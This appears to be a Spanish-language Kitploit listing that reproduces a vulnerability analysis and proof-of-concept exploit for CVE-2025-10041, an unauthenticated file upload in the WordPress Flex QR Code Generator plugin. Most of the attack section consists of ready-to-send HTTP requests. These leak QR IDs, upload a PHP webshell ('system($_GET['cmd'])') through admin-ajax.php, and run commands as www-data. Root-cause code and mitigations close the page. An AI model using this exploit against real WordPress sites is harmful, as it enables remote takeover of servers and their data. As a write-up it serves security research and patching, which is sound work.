Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
WordPress-Flex-QR-Code-Generator---CVE-2025-10041 — Análisis técnico y exploit de prueba de concepto para CVE-2025-10041, una subida arbitraria de archivos sin autenticación que conduce a la ejecución remota de código en el plugin Flex QR Code Generator de WordPress. | Kitploit
Herramientas/GitHubGitHub/kai-one001/wordpress-flex-qr-code-generator---cve-2025-10041
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubkai-one001/wordpress-flex-qr-code-generator---cve-2025-10041

WordPress-Flex-QR-Code-Generator---CVE-2025-10041

Análisis técnico y exploit de prueba de concepto para CVE-2025-10041, una subida arbitraria de archivos sin autenticación que conduce a la ejecución remota de código en el plugin Flex QR Code Generator de WordPress.

Ver Repositorio
2hace 11 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-10041: Análisis de la vulnerabilidad de subida arbitraria de archivos en el plugin Flex QR Code Generator


1. Resumen de la vulnerabilidad

  • Nombre del plugin: Flex QR Code Generator
  • Versiones afectadas: ≤ 1.2.5 (todas las versiones)
  • Tipo de vulnerabilidad: Subida arbitraria de archivos → Ejecución remota de código (RCE)
  • Condición de explotación: Sin necesidad de iniciar sesión, acceso no autenticado
  • Causa raíz: La función de subida de archivos no valida la extensión ni el tipo MIME, y el endpoint puede ser invocado por usuarios no autenticados.

2. Reproducción de la vulnerabilidad

  • No1 Fuga de información + hook de actualización para lograr RCE:

1. Resumen de la cadena de ataque

Obtener ID sin autenticación → Invocar endpoint de actualización para subir archivo PHP → Acceder al webshell → RCE

2. Paso uno: Fuga de información para obtener el ID

POST /wp-admin/admin-ajax.php?action=flexqr_fetch_qr_code
Host: 192.168.63.131:8082
Content-Type: application/x-www-form-urlencoded

per_page=50&page=1

En la respuesta se puede obtener un id válido (como 9) y la ruta de logo_url.

{
    "success": true,
    "data": {
        "qrCodes": [{
            "id": "9",
            "qr_name": null,
            "text": "",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"qrName\":\"shell\",\"qrDesc\":\"bypass\",\"qrData\":\"https:\/\/evil.com\"}",
            "created_at": "2025-10-16 11:16:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/updat_9.jpg"
        },
        {
            "id": "8",
            "qr_name": null,
            "text": "https:\/\/example.com",
            "qr_code_url": null,
            "qr_image_url": null,
            "tracking": "0",
            "tracking_details": null,
            "qr_data": "{\"data\":\"https:\/\/example.com\"}",
            "created_at": "2025-10-16 11:01:53",
            "logo_url": "\/wp-content\/uploads\/2025\/10\/webshell_8.php"
        }], "totalItems": "9"
}
}

3. Paso dos: Actualizar y subir el WebShell

POST /wp-admin/admin-ajax.php?action=flexqr_update_qr HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 480

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"data":"https://example.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrId"

9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="webshell.php"
Content-Type: application/octet-stream

AiErBuDe
------WebKitFormBoundaryABC123--

✅ La respuesta success: true indica que la subida fue exitosa.

{
    "success": true,
    "data": {
        "message": "QR code updated successfully.",
        "id": 9,
        "finalUrl": "https:\/\/example.com"
    }
}

4. Paso tres: Acceder al archivo de prueba

Formato de la ruta del archivo: {nombre_original}_{id}.php

GET /wp-content/uploads/2025/10/webshell_9.php HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

El servidor devuelve el contenido del archivo

HTTP/1.1 200 OK
Date: Thu, 16 Oct 2025 13:42:25 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
Content-Length: 8
Content-Type: text/html; charset=UTF-8

AiErBuDe
  • No2 Subida de archivos no autenticada + lograr RCE:

1. Resumen de la cadena de ataque

Acceso no autenticado al endpoint para subir archivo malicioso → Acceder al webshell → RCE

2. Paso uno: Subir archivo malicioso al endpoint

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.63.131:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: wp_nonce=884957; test=1337
Content-Length: 536

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="action"

flexqr_save_qr
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="qrData"

{"qrName":"shell","qrDesc":"bypass","qrData":"https://evil.com"}
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="isTrackingEnabled"

false
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logo"; filename="AiErBuDe.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------WebKitFormBoundaryABC123--

En la respuesta se puede obtener un id válido (como 10) y el resultado de success

{
    "success": true,
    "data": {
        "message": "QR code saved successfully.",
        "id": 10,
        "finalUrl": ""
    }
}

3. Paso tres: Acceder al WEBSHELL para ejecutar comandos

GET /wp-content/uploads/2025/10/AiErBuDe_10.php?cmd=id HTTP/1.1
Host: 192.168.63.131:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Length: 0

✅ El servidor devuelve el resultado de la ejecución del comando, RCE exitoso.

HTTP / 1.1 200 OK Date: Thu,
16 Oct 2025 15 : 52 : 37 GMT Server: Apache / 2.4.59(Debian) X - Powered - By: PHP / 8.2.21 Vary: Accept - Encoding Content - Type: text / html;
charset = UTF - 8 Content - Length: 54

uid = 33(www - data) gid = 33(www - data) groups = 33(www - data)

3. Principio de la vulnerabilidad

1. Funciones vulnerables

  • Archivo: flex-qr-code-generator/qr-code-generator.php
  • Funciones: save_qr_code_to_db() y update_qr_code()

2. Defectos clave

  • Solo verifica $_FILES['logo']['error'] === UPLOAD_ERR_OK
  • No valida la extensión del archivo ni el tipo MIME
  • El nombre del archivo es controlable: {nombre_original}_{id}.ext, donde id es la clave primaria autoincremental

3. Invocación no autenticada

Registrado a través del hook wp_ajax_nopriv_, el endpoint puede ser accedido por usuarios no autenticados:

add_action('wp_ajax_nopriv_flexqr_save_qr', [$this, 'save_qr_code_to_db']);
add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);

nopriv significa "sin requisito de permisos", el atacante puede invocarlo sin iniciar sesión.


4. Recomendaciones de mitigación

MedidaDescripción
✅ Control de permisosEliminar el hook nopriv, permitir solo llamadas de administradores
✅ Validación del tipo de archivoRestringir extensiones mediante lista blanca (como jpg/png/gif)
✅ Prohibir ejecución de PHPDeshabilitar la ejecución de PHP en uploads/.htaccess
✅ Renombrado de archivosUsar nombres de archivo aleatorios para evitar adivinación
✅ Actualizar el pluginEstar atento a las actualizaciones oficiales y actualizar oportunamente

Aviso legal

Este artículo es únicamente para fines de investigación de seguridad y enseñanza. Se prohíben las pruebas de penetración o ataques no autorizados. Los usuarios deben cumplir con las leyes y regulaciones aplicables.

Descargar herramienta